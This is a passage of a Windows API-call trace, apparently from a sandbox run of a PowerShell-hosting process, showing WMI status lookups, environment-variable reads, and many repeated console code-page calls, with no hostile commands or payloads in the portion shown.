pToken=0x5e8ead8) returned 0x0 [0112.810] WbemStatusCodeText:IUnknown:AddRef (This=0x5370ad0) returned 0x4 [0112.810] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5370ad0, riid=0x7486767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8eb4c | out: ppvObject=0x5e8eb4c*=0x0) returned 0x80004002 [0112.810] WbemStatusCodeText:IUnknown:Release (This=0x5370ad0) returned 0x3 [0112.810] WbemStatusCodeText:IUnknown:Release (This=0x5370ad0) returned 0x2 [0112.810] WbemStatusCodeText:IUnknown:Release (This=0x537cb70) returned 0x0 [0112.810] WbemStatusCodeText:IUnknown:Release (This=0x5370ad0) returned 0x1 [0112.811] CoGetContextToken (in: pToken=0x5e8efe4 | out: pToken=0x5e8efe4) returned 0x0 [0112.811] CoGetContextToken (in: pToken=0x5e8efa4 | out: pToken=0x5e8efa4) returned 0x0 [0112.811] WbemStatusCodeText:IUnknown:AddRef (This=0x5370ad0) returned 0x2 [0112.811] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5370ad0, riid=0x5e8f020*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5e8f01c | out: ppvObject=0x5e8f01c*=0x5370ad0) returned 0x0 [0112.811] WbemStatusCodeText:IUnknown:Release (This=0x5370ad0) returned 0x2 [0112.811] WbemStatusCodeText:IUnknown:Release (This=0x5370ad0) returned 0x1 [0112.859] CoGetContextToken (in: pToken=0x5e8efac | out: pToken=0x5e8efac) returned 0x0 [0112.859] CoGetContextToken (in: pToken=0x5e8ef6c | out: pToken=0x5e8ef6c) returned 0x0 [0112.859] WbemStatusCodeText:IUnknown:AddRef (This=0x5370ad0) returned 0x2 [0112.859] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5370ad0, riid=0x5e8efe8*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5e8efe4 | out: ppvObject=0x5e8efe4*=0x5370ad0) returned 0x0 [0112.859] WbemStatusCodeText:IUnknown:Release (This=0x5370ad0) returned 0x2 [0112.860] WbemStatusCodeText:IUnknown:AddRef (This=0x5370ad0) returned 0x3 [0112.860] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5370ad0, hRes=0x80041014, LocaleId=0x0, lFlags=1, MessageText=0x5e8f11c | out: MessageText=0x5e8f11c*="Initialization failure ") returned 0x0 [0112.862] SysStringByteLen (bstr="Initialization failure ") returned 0x2e [0112.862] SysStringByteLen (bstr="Initialization failure ") returned 0x2e [0112.862] WbemStatusCodeText:IUnknown:Release (This=0x5370ad0) returned 0x2 [0113.954] CoGetContextToken (in: pToken=0x5e8e0d0 | out: pToken=0x5e8e0d0) returned 0x0 [0113.954] WbemLocator:IUnknown:Release (This=0x76d01c) returned 0x1 [0113.954] IUnknown:Release (This=0x537d464) returned 0x0 [0114.038] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.038] GetLastError () returned 0xcb [0114.287] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.287] GetLastError () returned 0xcb [0114.293] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.293] GetLastError () returned 0xcb [0114.380] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.380] GetLastError () returned 0xcb [0114.387] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.387] GetLastError () returned 0xcb [0114.390] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.390] GetLastError () returned 0xcb [0114.410] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.410] GetLastError () returned 0xcb [0114.799] VirtualQuery (in: lpAddress=0x5e8daf4, lpBuffer=0x5e8eaf4, dwLength=0x1c | out: lpBuffer=0x5e8eaf4*(BaseAddress=0x5e8d000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0116.132] VirtualQuery (in: lpAddress=0x5e8daf4, lpBuffer=0x5e8eaf4, dwLength=0x1c | out: lpBuffer=0x5e8eaf4*(BaseAddress=0x5e8d000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0116.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e128, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0116.280] GetLastError () returned 0xcb [0116.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e0d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0116.280] GetLastError () returned 0xcb [0116.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e0d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0116.280] GetLastError () returned 0xcb [0116.281] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e0d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0116.281] GetLastError () returned 0xcb [0116.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e128, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0116.620] GetLastError () returned 0x0 [0116.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e0d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0116.620] GetLastError () returned 0x0 [0116.620] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e0d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0116.620] GetLastError () returned 0x0 [0117.156] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0117.201] GetLastError () returned 0x0 [0117.201] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5e8e638 | out: lpConsoleScreenBufferInfo=0x5e8e638) returned 1 [0117.201] GetLastError () returned 0x0 [0117.249] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0117.249] GetLastError () returned 0xcb [0117.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e138, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0117.326] GetLastError () returned 0x0 [0117.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e138, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0117.326] GetLastError () returned 0x0 [0117.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e138, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0117.326] GetLastError () returned 0x0 [0117.704] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x757a70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0117.704] GetLastError () returned 0xcb [0117.771] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0117.771] GetLastError () returned 0x0 [0117.771] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x5e8ed4c | out: lpConsoleScreenBufferInfo=0x5e8ed4c) returned 1 [0117.772] GetLastError () returned 0x0 [0117.779] GetConsoleOutputCP () returned 0x1b5 [0117.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8eca8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8eca8) returned 0 [0117.783] GetLastError () returned 0x0 [0117.783] GetConsoleOutputCP () returned 0x1b5 [0117.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8eca8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8eca8) returned 0 [0117.783] GetLastError () returned 0x0 [0117.783] GetConsoleOutputCP () returned 0x1b5 [0117.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8eca8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8eca8) returned 0 [0117.783] GetLastError () returned 0x0 [0117.783] GetConsoleOutputCP () returned 0x1b5 [0117.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8eca8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8eca8) returned 0 [0117.784] GetLastError () returned 0x0 [0117.784] GetConsoleOutputCP () returned 0x1b5 [0117.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8eca8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8eca8) returned 0 [0117.784] GetLastError () returned 0x0 [0117.784] GetConsoleOutputCP () returned 0x1b5 [0117.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.784] GetLastError () returned 0x0 [0117.784] GetConsoleOutputCP () returned 0x1b5 [0117.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.784] GetLastError () returned 0x0 [0117.784] GetConsoleOutputCP () returned 0x1b5 [0117.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.785] GetLastError () returned 0x0 [0117.785] GetConsoleOutputCP () returned 0x1b5 [0117.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.785] GetLastError () returned 0x0 [0117.785] GetConsoleOutputCP () returned 0x1b5 [0117.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.785] GetLastError () returned 0x0 [0117.785] GetConsoleOutputCP () returned 0x1b5 [0117.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.785] GetLastError () returned 0x0 [0117.785] GetConsoleOutputCP () returned 0x1b5 [0117.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.785] GetLastError () returned 0x0 [0117.785] GetConsoleOutputCP () returned 0x1b5 [0117.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.786] GetLastError () returned 0x0 [0117.786] GetConsoleOutputCP () returned 0x1b5 [0117.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.786] GetLastError () returned 0x0 [0117.786] GetConsoleOutputCP () returned 0x1b5 [0117.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.786] GetLastError () returned 0x0 [0117.786] GetConsoleOutputCP () returned 0x1b5 [0117.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.786] GetLastError () returned 0x0 [0117.786] GetConsoleOutputCP () returned 0x1b5 [0117.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.786] GetLastError () returned 0x0 [0117.786] GetConsoleOutputCP () returned 0x1b5 [0117.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.786] GetLastError () returned 0x0 [0117.786] GetConsoleOutputCP () returned 0x1b5 [0117.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.787] GetLastError () returned 0x0 [0117.787] GetConsoleOutputCP () returned 0x1b5 [0117.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.787] GetLastError () returned 0x0 [0117.787] GetConsoleOutputCP () returned 0x1b5 [0117.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.787] GetLastError () returned 0x0 [0117.787] GetConsoleOutputCP () returned 0x1b5 [0117.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.787] GetLastError () returned 0x0 [0117.787] GetConsoleOutputCP () returned 0x1b5 [0117.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.787] GetLastError () returned 0x0 [0117.787] GetConsoleOutputCP () returned 0x1b5 [0117.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.787] GetLastError () returned 0x0 [0117.787] GetConsoleOutputCP () returned 0x1b5 [0117.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.788] GetLastError () returned 0x0 [0117.788] GetConsoleOutputCP () returned 0x1b5 [0117.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.788] GetLastError () returned 0x0 [0117.788] GetConsoleOutputCP () returned 0x1b5 [0117.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.788] GetLastError () returned 0x0 [0117.788] GetConsoleOutputCP () returned 0x1b5 [0117.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.788] GetLastError () returned 0x0 [0117.788] GetConsoleOutputCP () returned 0x1b5 [0117.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.788] GetLastError () returned 0x0 [0117.788] GetConsoleOutputCP () returned 0x1b5 [0117.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.788] GetLastError () returned 0x0 [0117.788] GetConsoleOutputCP () returned 0x1b5 [0117.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.789] GetLastError () returned 0x0 [0117.789] GetConsoleOutputCP () returned 0x1b5 [0117.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.789] GetLastError () returned 0x0 [0117.789] GetConsoleOutputCP () returned 0x1b5 [0117.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.789] GetLastError () returned 0x0 [0117.789] GetConsoleOutputCP () returned 0x1b5 [0117.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.789] GetLastError () returned 0x0 [0117.789] GetConsoleOutputCP () returned 0x1b5 [0117.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.789] GetLastError () returned 0x0 [0117.789] GetConsoleOutputCP () returned 0x1b5 [0117.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.789] GetLastError () returned 0x0 [0117.790] GetConsoleOutputCP () returned 0x1b5 [0117.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.790] GetLastError () returned 0x0 [0117.790] GetConsoleOutputCP () returned 0x1b5 [0117.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.790] GetLastError () returned 0x0 [0117.790] GetConsoleOutputCP () returned 0x1b5 [0117.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.790] GetLastError () returned 0x0 [0117.790] GetConsoleOutputCP () returned 0x1b5 [0117.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.790] GetLastError () returned 0x0 [0117.790] GetConsoleOutputCP () returned 0x1b5 [0117.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.791] GetLastError () returned 0x0 [0117.791] GetConsoleOutputCP () returned 0x1b5 [0117.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.791] GetLastError () returned 0x0 [0117.791] GetConsoleOutputCP () returned 0x1b5 [0117.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.791] GetLastError () returned 0x0 [0117.791] GetConsoleOutputCP () returned 0x1b5 [0117.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.791] GetLastError () returned 0x0 [0117.791] GetConsoleOutputCP () returned 0x1b5 [0117.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.791] GetLastError () returned 0x0 [0117.791] GetConsoleOutputCP () returned 0x1b5 [0117.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.791] GetLastError () returned 0x0 [0117.792] GetConsoleOutputCP () returned 0x1b5 [0117.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.792] GetLastError () returned 0x0 [0117.792] GetConsoleOutputCP () returned 0x1b5 [0117.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.792] GetLastError () returned 0x0 [0117.792] GetConsoleOutputCP () returned 0x1b5 [0117.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.792] GetLastError () returned 0x0 [0117.792] GetConsoleOutputCP () returned 0x1b5 [0117.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.792] GetLastError () returned 0x0 [0117.793] GetConsoleOutputCP () returned 0x1b5 [0117.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.793] GetLastError () returned 0x0 [0117.793] GetConsoleOutputCP () returned 0x1b5 [0117.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.793] GetLastError () returned 0x0 [0117.793] GetConsoleOutputCP () returned 0x1b5 [0117.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.793] GetLastError () returned 0x0 [0117.793] GetConsoleOutputCP () returned 0x1b5 [0117.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.793] GetLastError () returned 0x0 [0117.793] GetConsoleOutputCP () returned 0x1b5 [0117.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.794] GetLastError () returned 0x0 [0117.794] GetConsoleOutputCP () returned 0x1b5 [0117.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.794] GetLastError () returned 0x0 [0117.794] GetConsoleOutputCP () returned 0x1b5 [0117.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.794] GetLastError () returned 0x0 [0117.794] GetConsoleOutputCP () returned 0x1b5 [0117.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.794] GetLastError () returned 0x0 [0117.794] GetConsoleOutputCP () returned 0x1b5 [0117.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.795] GetLastError () returned 0x0 [0117.795] GetConsoleOutputCP () returned 0x1b5 [0117.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.795] GetLastError () returned 0x0 [0117.795] GetConsoleOutputCP () returned 0x1b5 [0117.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.795] GetLastError () returned 0x0 [0117.795] GetConsoleOutputCP () returned 0x1b5 [0117.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.795] GetLastError () returned 0x0 [0117.795] GetConsoleOutputCP () returned 0x1b5 [0117.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.796] GetLastError () returned 0x0 [0117.796] GetConsoleOutputCP () returned 0x1b5 [0117.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.796] GetLastError () returned 0x0 [0117.796] GetConsoleOutputCP () returned 0x1b5 [0117.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.796] GetLastError () returned 0x0 [0117.796] GetConsoleOutputCP () returned 0x1b5 [0117.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.796] GetLastError () returned 0x0 [0117.796] GetConsoleOutputCP () returned 0x1b5 [0117.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.796] GetLastError () returned 0x0 [0117.796] GetConsoleOutputCP () returned 0x1b5 [0117.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.797] 